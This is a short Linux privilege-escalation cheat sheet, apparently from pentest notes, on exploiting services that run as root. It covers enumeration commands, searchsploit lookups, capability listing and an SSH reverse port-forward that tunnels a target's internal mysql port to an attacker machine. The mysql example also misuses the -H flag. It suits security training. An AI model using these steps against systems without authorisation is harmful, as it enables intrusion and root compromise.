Using Service Exploits

Exploiting vulnerable services

Services are programs which run in the background, accepting inputs or doing regular tasks. If vulnerable services are running as root, we can exploit them to get command execution as root.

Find services running as root

ps aux | grep "^root"

with any results identify the version n umber of the program being executed.

Find versions with dpkg

dpkg -l | grep <package_name> 

Find versions with rpm

rpm -qa | grep <package_name>

Find service ports

netstat -nl

Checking Service Configurations

  • Inspect service files in /etc/systemd/system/ or /etc/init.d/ for misconfigurations, such as services running as root.

  • Use systemctl status <service> to check service details, including user and group.

Finding service exploits

searchsploit

searchsploit <package_name_and_version>

Google and web search

Local port forwarding

Certain root processes can be bound to a local/internal port through which it communicates. When an exploit for that particular service cannot be executed on the target machine, local port forwarding can be a go to method.

To identify services running local ports we can use the netstat command and looking for address 127.0.0.1.

Using ssh a service running on a target machine's internal port can be forwarded to the attacker machine.

ssh -R <local-port>:127.0.0.1:<service-port> username@attackermachine

The exploit code for that service can be run on the local machine of the attacker at whichever port is chosen.

Eg: Let's say there is a mysql service running on port 127.0.0.1:3306 of the target at 10.10.10.1. We are attacking from 10.10.10.2. We want to bind the service to our port 9999. On the target machine we execute:

ssh -R 9999:127.0.0.1:3306 attacker@10.10.10.2

Now on attacker machine we can bind to the mysql service running on the target using:

mysql -u <username-on-target-machine/root> -H 10.10.10.1 -P 9999

Our traffic gets routed through the SSH connection to the target's mysql service.

Leveraging service capabilities

The getcap tool to list enabled capabilities.

getcap -r /

The following table summarizes key enumeration commands and their purposes:

Command

Purpose

ps -aux

List all processes, identify those running as root

netstat -antup

List open ports and associated services

getcap -r /

Enumerate capabilities on executables

find /etc -perm -2 -type f

Find writable files in /etc, potential misconfigurations

rpm -qa --last or dpkg -l

Check installed package versions for vulnerabilities

Last updated

Was this helpful?